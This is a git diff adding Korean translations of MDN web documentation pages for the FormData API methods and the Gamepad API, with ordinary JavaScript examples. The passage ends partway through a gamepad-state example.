메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.delete(name);
+ +

Parameters

+ +
+
name
+
삭제할 key의 이름 입니다.
+
+ +

Returns

+ +

Void.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만들고, form의 key/value 쌍을 미리 채웁니다:

+ +
var formData = new FormData(myForm);
+ +

delete()를 사용하여 키와 값을 삭제할 수 있습니다:

+ +
formData.delete('username');
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.delete")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/entries/index.html b/files/ko/web/api/formdata/entries/index.html new file mode 100644 index 0000000000..6f4f5b29d3 --- /dev/null +++ b/files/ko/web/api/formdata/entries/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.entries() +slug: Web/API/FormData/entries +translation_of: Web/API/FormData/entries +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.entries() 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 각 쌍의 key는  {{domxref("USVString")}} 객체입니다; value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 중 하나입니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.entries();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 리턴합니다.

+ +

Example

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+
+ +

결과는 다음과 같습니다:

+ +
key1, value1
+key2, value2
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.entries")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/formdata/index.html b/files/ko/web/api/formdata/formdata/index.html new file mode 100644 index 0000000000..5201383a98 --- /dev/null +++ b/files/ko/web/api/formdata/formdata/index.html @@ -0,0 +1,92 @@ +--- +title: FormData() +slug: Web/API/FormData/FormData +translation_of: Web/API/FormData/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData() 생성자(Constructor)는 새로운 {{domxref("FormData")}}객체를 만듭니다.

+ +
+

메모: 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
var formData = new FormData(form)
+ +

Parameters

+ +
+
form {{optional_inline}}
+
HTML {{HTMLElement("form")}} 요소 — 지정된 경우 {{domxref("FormData")}} 객체는 form의 현재 key/value 들로 채워집니다. key/value는 submit한 각 요소의 name property와 value를 사용합니다. 또한 파일 입력 내용을 인코딩합니다.
+
+ +

Example

+ +

다음 코드는 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData(); // Currently empty
+ +

{{domxref("FormData.append")}}을 사용하여 key/value 쌍을 추가할 수 있습니다:

+ +
formData.append('username', 'Chris');
+
+ +

또는 FormData 객체를 만들 때 선택적으로 form argument를 지정할 수 있는데, 지정된 양식대로 value를 미리 채우는 것입니다:

+ +
<form id="myForm" name="myForm">
+  <div>
+    <label for="username">Enter name:</label>
+    <input type="text" id="username" name="username">
+  </div>
+  <div>
+    <label for="useracc">Enter account number:</label>
+    <input type="text" id="useracc" name="useracc">
+  </div>
+  <div>
+    <label for="userfile">Upload file:</label>
+    <input type="file" id="userfile" name="userfile">
+  </div>
+<input type="submit" value="Submit!">
+</form>
+
+ +
+

메모: 모든 입력 요소는 'name' 속성(attribute) 을 갖고 있습니다. 나중에 value에 접근하는데 필요합니다.

+
+ +
var myForm = document.getElementById('myForm');
+formData = new FormData(myForm);
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.FormData")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/get/index.html b/files/ko/web/api/formdata/get/index.html new file mode 100644 index 0000000000..b90a006387 --- /dev/null +++ b/files/ko/web/api/formdata/get/index.html @@ -0,0 +1,74 @@ +--- +title: FormData.get() +slug: Web/API/FormData/get +translation_of: Web/API/FormData/get +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 get() 메서드는 FormData 객체에서 지정한 키와 연관된 첫 번째 값을 반환합니다. 값이 여러개이고, 모든 값을 원하면 이 메서드 대신 {{domxref("FormData.getAll()","getAll()")}} 메서드를 사용하십시오.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.get(name);
+ +

Parameters

+ +
+
name
+
검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.
+
+ +

Return value

+ +

값을 포함하는 {{domxref("FormDataEntryValue")}} 입니다.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData();
+ +

{{domxref("FormData.append")}}를 사용하여 username 에 두 개의 값을 추가합니다:

+ +
formData.append('username', 'Chris');
+formData.append('username', 'Bob');
+ +

get() 함수를 사용하면 username 의 첫 번째 value만 반환합니다:

+ +
formData.get('username'); // Returns "Chris"
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.get")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/getall/index.html b/files/ko/web/api/formdata/getall/index.html new file mode 100644 index 0000000000..6de19365e5 --- /dev/null +++ b/files/ko/web/api/formdata/getall/index.html @@ -0,0 +1,74 @@ +--- +title: FormData.getAll() +slug: Web/API/FormData/getAll +translation_of: Web/API/FormData/getAll +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 getAll() 메서드는 FormData 객체에서 지정된 키와 연관된 모든 값을 반환합니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.getAll(name);
+ +

Parameters

+ +
+
name
+
검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.
+
+ +

Returns

+ +

{{domxref("FormDataEntryValue")}}의 배열입니다.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData();
+ +

{{domxref("FormData.append")}}를 사용하여 username 에 두 개의 값을 추가합니다:

+ +
formData.append('username', 'Chris');
+formData.append('username', 'Bob');
+ +

getAll() 함수는 username 의 값들을 배열로 반환합니다:

+ +
formData.getAll('username'); // Returns ["Chris", "Bob"]
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.getAll")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/has/index.html b/files/ko/web/api/formdata/has/index.html new file mode 100644 index 0000000000..8340fee6af --- /dev/null +++ b/files/ko/web/api/formdata/has/index.html @@ -0,0 +1,73 @@ +--- +title: FormData.has() +slug: Web/API/FormData/has +translation_of: Web/API/FormData/has +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 has() 메서드는 FormData 객체에 특정 키가 들어 있는지 여부를 나타내는 boolean 을 반환합니다.

+ +
+

Note: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.has(name);
+ +

Parameters

+ +
+
name
+
테스트 하려는 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.
+
+ +

Returns

+ +

{{domxref("Boolean")}}.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData();
+ +

다음 스니펫(코드 조각)은 FormData 객체안에 username 이 존재하는지 테스트한 결과와, {{domxref("FormData.append")}}를 사용하여 username 에 값을 추가한 이후의 결과를 보여줍니다 :

+ +
formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.has")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/index.html b/files/ko/web/api/formdata/index.html new file mode 100644 index 0000000000..212d19e6c2 --- /dev/null +++ b/files/ko/web/api/formdata/index.html @@ -0,0 +1,82 @@ +--- +title: FormData +slug: Web/API/FormData +tags: + - API + - 인터페이스 + - 폼 데이터 +translation_of: Web/API/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData 인터페이스는 form 필드와 그 값을 나타내는 일련의 key/value 쌍을 쉽게 생성할 수 있는 방법을 제공합니다. 또한 {{domxref("XMLHttpRequest.send()")}} 메서드를 사용하여 쉽게 전송할 수 있습니다. 인코딩 타입이 "multipart/form-data"로 설정된 경우, form에서 사용하는 것과 동일한 포맷을 사용해야 합니다.

+ +

간단한 GET 전송을 사용하는 경우에는 {{HTMLElement("form")}} 이 수행하는 방식으로 쿼리 매개 변수를 생성할 수 있습니다. 이 경우 {{domxref("URLSearchParams")}} 생성자에 직접 전달할 수 있습니다.

+ +

FormData 를 구현하는 객체는 {{domxref('FormData.entries()', 'entries()')}} 대신 {{jsxref("Statements/for...of", "for...of")}} 구조를 직접 사용할 수 있습니다. for (var p of myFormData) 는 for (var p of myFormData.entries()) 와 같습니다.

+ +
+

주의: 이 기능은 Web Workers에서도 사용할 수 있습니다.

+
+ +

생성자

+ +
+
{{domxref("FormData.FormData","FormData()")}}
+
새로운 FormData 객체를 생성합니다.
+
+ +

메소드

+ +
+
{{domxref("FormData.append()")}}
+
FormData 객체안에 이미 키가 존재하면 그 키에 새로운 값을 추가하고, 키가 없으면 추가합니다.
+
{{domxref("FormData.delete()")}}
+
FormData 객체로부터 키/밸류 쌍을 삭제합니다.
+
{{domxref("FormData.entries()")}}
+
이 객체에 담긴 모든 키/밸류 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","iterator")}}를 반환합니다.
+
{{domxref("FormData.get()")}}
+
FormData 객체 내의 값들 중 주어진 키와 연관된 첫번째 값을 반환합니다.
+
{{domxref("FormData.getAll()")}}
+
FormData 객체 내의 값들 중 주어진 키와 연관된 모든 값이 담긴 배열을 반환합니다.
+
{{domxref("FormData.has()")}}
+
FormData 객체에 특정 키가 포함되어 있는지 여부를 나타내는 boolean 을 반환합니다.
+
{{domxref("FormData.keys()")}}
+
이 객체에 담긴 모든 키/벨류 쌍들의 모든 키들을 순회 할 수 있는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.
+
{{domxref("FormData.set()")}}
+
FormData 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 키/밸류 쌍을 추가합니다.
+
{{domxref("FormData.values()")}}
+
이 객체에 포함된 모든 밸류를 통과하는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}{{Spec2('XMLHttpRequest')}}FormData defined in XHR spec
+ +

브라우저 호환성

+ + + +

{{Compat("api.FormData")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/keys/index.html b/files/ko/web/api/formdata/keys/index.html new file mode 100644 index 0000000000..f2f1111e4d --- /dev/null +++ b/files/ko/web/api/formdata/keys/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.keys() +slug: Web/API/FormData/keys +translation_of: Web/API/FormData/keys +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.keys() 메서드는 이 객체에 포함된 모든 키를 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 키는 {{domxref("USVString")}} 객체입니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.keys();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the keys
+for (var key of formData.keys()) {
+   console.log(key);
+}
+
+ +

결과는 다음과 같습니다:

+ +
key1
+key2
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.keys")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/set/index.html b/files/ko/web/api/formdata/set/index.html new file mode 100644 index 0000000000..1f95283af5 --- /dev/null +++ b/files/ko/web/api/formdata/set/index.html @@ -0,0 +1,79 @@ +--- +title: FormData.set() +slug: Web/API/FormData/set +translation_of: Web/API/FormData/set +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 set() 메서드는 FormData 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 key/value을 추가합니다.

+ +

set() 과 {{domxref("FormData.append")}} 의 차이점은 지정된 키가 이미 존재할 경우에, set() 은 모든 기존 값들을 새로운 값으로 덮어쓰기하는 반면, {{domxref("FormData.append")}} 는 기존 값의 끝에 새 값을 추가합니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +

이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:

+ +
formData.set(name, value);
+formData.set(name, value, filename);
+ +

Parameters

+ +
+
name
+
value 에 포함되는 데이터 필드의 이름입니다.
+
value
+
필드의 값입니다. 파라미터가 두 개인 버전에서는 {{domxref("USVString")}}이고, 그렇지 않은 경우 문자열로 변환됩니다. 파라미터가 세 개인 버전에서는 {{domxref("Blob")}}, {{domxref("File")}}, {{domxref("USVString")}}이 될 수 있습니다. 이들 중 어느것도 지정되지 않으면 값은 문자열로 변환됩니다.
+
filename {{optional_inline}}
+
{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob"입니다.
+
+ +
+

메모: {{domxref("Blob")}} 을 FormData 객체에 추가할 데이터로 지정하면,  "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.

+
+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData(); // Currently empty
+ +

{{domxref("FormData.set")}}를 사용하여 key/value 쌍을 추가할 수 있습니다::

+ +
formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.set")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/values/index.html b/files/ko/web/api/formdata/values/index.html new file mode 100644 index 0000000000..9a28786ad6 --- /dev/null +++ b/files/ko/web/api/formdata/values/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.values() +slug: Web/API/FormData/values +translation_of: Web/API/FormData/values +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.values() 메서드는 이 객체에 포함 된 모든 value를 통과하는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 객체입니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +
formData.values();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the values
+for (var value of formData.values()) {
+   console.log(value);
+}
+
+ +

결과는 다음과 같습니다:

+ +
value1
+value2
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.values")}}

+ +

See also

+ + diff --git a/files/ko/web/api/gamepad_api/index.html b/files/ko/web/api/gamepad_api/index.html new file mode 100644 index 0000000000..7a4fc0d2e7 --- /dev/null +++ b/files/ko/web/api/gamepad_api/index.html @@ -0,0 +1,94 @@ +--- +title: Gamepad API +slug: Web/API/Gamepad_API +tags: + - API + - Experimental + - Gamepad API + - Games + - Overview +translation_of: Web/API/Gamepad_API +--- +
{{DefaultAPISidebar("Gamepad API")}}
+ +

게임패드 API는 게임패드와 다른 게임 제어장치의 신호에 쉬운 일관된 방식으로 접근하고 응답하는 개발자들을 위한 수단이다. 게임패드 API는 세 가지 인터페이스와연결, 연결 해제되고 게임 패드 자체에 대한 다른 정보에 접근하고 어떤 버튼과 다른 조작 장치들이 현재 눌린 것에 응답하는 두 가지 이벤트 그리고 한 가지 특수 기능이 포함되어 있다. 

+ +

인터페이스

+ +
+
{{domxref("Gamepad")}}
+
컴퓨터에 연결된 게임패드나 조작장치를 표현한다.
+
{{domxref("GamepadButton")}}
+
연결된 조작장치들 중 하나에 있는 버튼을 표현한다.
+
{{domxref("GamepadEvent")}}
+
게임 패드와 연관된 이벤트를 나타내는 이벤트 객체이다.
+
+ +

게임패드 확장기능 실험

+ +
+
{{domxref("GamepadHapticActuator")}}
+
Represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.
+
{{domxref("GamepadPose")}}
+
Represents the pose of a controller (e.g. position and orientation in 3D space) in the case of a WebVR controller.
+
+ +

다음 정보를엑세스할 수 있는 게임패드 인터페이스 확장기능 더보기

+ +

다른 인터페이스로 확장

+ + + +
+
{{domxref("Navigator.getGamepads()")}}
+
An extension to the {{domxref("Navigator")}} object that returns an array of {{domxref("Gamepad")}} objects, one for each connected gamepad.
+
+ +

Window events

+ +
+
{{domxref("Window.ongamepadconnected")}}
+
Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).
+
{{domxref("Window.ongamepaddisconnected")}}
+
Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).
+
+ +

튜토리얼과 가이드

+ + + +

사양

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("GamepadExtensions")}}{{Spec2("GamepadExtensions")}}Defines the {{anch("Experimental Gamepad extensions")}}.
{{SpecName("Gamepad", "", "The Gamepad API specification")}}{{Spec2("Gamepad")}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Gamepad")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html new file mode 100644 index 0000000000..10f1a4d818 --- /dev/null +++ b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -0,0 +1,342 @@ +--- +title: Using the Gamepad API +slug: Web/API/Gamepad_API/Using_the_Gamepad_API +translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API +--- +

HTML5 introduced many of the necessary components for rich, interactive game development. Technologies like <canvas>, WebGL, <audio>, and <video>, along with JavaScript implementations, have matured to the point where they can now support many tasks previously requiring native code. The Gamepad API is a way for developers and designers to access and use gamepads and other game controllers.

+ +

The Gamepad API introduces new events on the {{ domxref("Window") }} object for reading gamepad and controller (hereby referred to as gamepad) state. In addition to these events, the API also adds a {{ domxref("Gamepad") }} object, which you can use to query the state of a connected gamepad, and a {{ domxref("navigator.getGamepads()") }} method which you can use to get a list of gamepads known to the page.

+ +

게임패드로 연결

+ +

새로운 게임패드가 컴퓨터에 연결될 때, 포커스된 페이지는 {{ event("gamepadconnected") }} 이벤트를 받습니다. 페이지가 로드되었을 때 게임패드가 이미 연결되어 있다면, {{ event("gamepadconnected") }} 이벤트가 유저의 버튼 입력 혹은 마우스 움직일 때 포커스된 페이지에 디스패치됩니다.

+ +
+

In Firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. This helps prevent gamepads being used for fingerprinting the user. Once one gamepad has been interacted with, other gamepads that are connected will automatically be visible.

+
+ +

{{event("gamepadconnected")}} 이벤트를 이렇게 이용할 수 있습니다:

+ +
window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    e.gamepad.index, e.gamepad.id,
+    e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+
+ +

각 게임패드는 유니크한 ID와 연관되어 있는데, 이는 {{domxref("GamepadEvent.gamepad", "gamepad")}} 이벤트의 속성에서 사용가능합니다.

+ +

게임패드 연결해제

+ +

When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ event("gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+    e.gamepad.index, e.gamepad.id);
+});
+ +

The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The index property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.

+ +
var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note:
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+
+ +

This previous example also demonstrates how the gamepad property can be held after the event has completed — a technique we will use for device state querying later.

+ +

게임패드 오브젝트에 질의

+ +

As you can see, the gamepad events discussed above include a gamepad property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.

+ +

Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.

+ +

The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always null, so null will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    gp.index, gp.id,
+    gp.buttons.length, gp.axes.length);
+});
+ +

The {{ domxref("Gamepad") }} object's properties are as follows:

+ + + +
+

Note: The Gamepad object is available on the {{ event("gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.

+
+ +

버튼 정보 이용하기

+ +

Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can view the demo live, and find the source code on Github.

+ +

To start with, we declare some variables: The gamepadInfo paragraph that the connection info is written into, the ball that we want to move, the start variable that acts as the ID for requestAnimation Frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.

+ +
var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+
+ +

Next we use the {{event("gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}[0], print information about the gamepad into our gamepad info div, and fire the gameLoop() function that starts the whole ball movement process up.

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});
+ +

Now we use the {{Event("gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.

+ +
window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  cancelRequestAnimationFrame(start);
+});
+ +

Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a webkit prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.

+ +
var interval;
+
+if (!('ongamepadconnected' in window)) {
+  // No gamepad events available, poll instead.
+  interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    var gp = gamepads[i];
+    if (gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
+        ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}
+ +

Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the a and b movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of a and b respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.

+ +

After all this is done, we use our requestAnimationFrame() to request the next animation frame, running gameLoop() again.

+ +
function buttonPressed(b) {
+  if (typeof(b) == "object") {
+    return b.pressed;
+  }
+  return b == 1.0;
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads) {
+    return;
+  }
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if (buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if (buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a * 2 + "px";
+  ball.style.top = b * 2 + "px";
+
+  start = requestAnimationFrame(gameLoop);
+}
+ +

Using axes information

+ +

TBD (basically the same, except using axes[i] rather than button[i].value for both Firefox and Chrome.)

+ +

Complete example: Displaying gamepad state

+ +

This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ event("gamepadconnected") }} and {{ event("gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a working demo and look at the full source code on Github.

+ +
var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad;
+
+  var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+  d.appendChild(t);
+
+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i = 0; i < gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+
+  d.appendChild(b);
+
+  var a = document.createElement("div");
+  a.className = "axes";
+
+  for (var i = 0; i < gamepad.axes.length; i++) {
+    var p = document.createElement("progress");
+    p.className = "axis";
+    //p.id = "a" + i;
+    p.setAttribute("max", "2");
+    p.setAttribute("value", "1");
+    p.innerHTML = i;
+    a.appendChild(p);
+  }
+
+  d.appendChild(a);
+
+  // See https://github.com/luser/gamepadtest/blob/master/index.html
+  var start = document.getElementById("start");
+  if (start) {
+    start.style.display = "none";
+  }
+
+  document.body.appendChild(d);
+  requestAnimationFrame(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
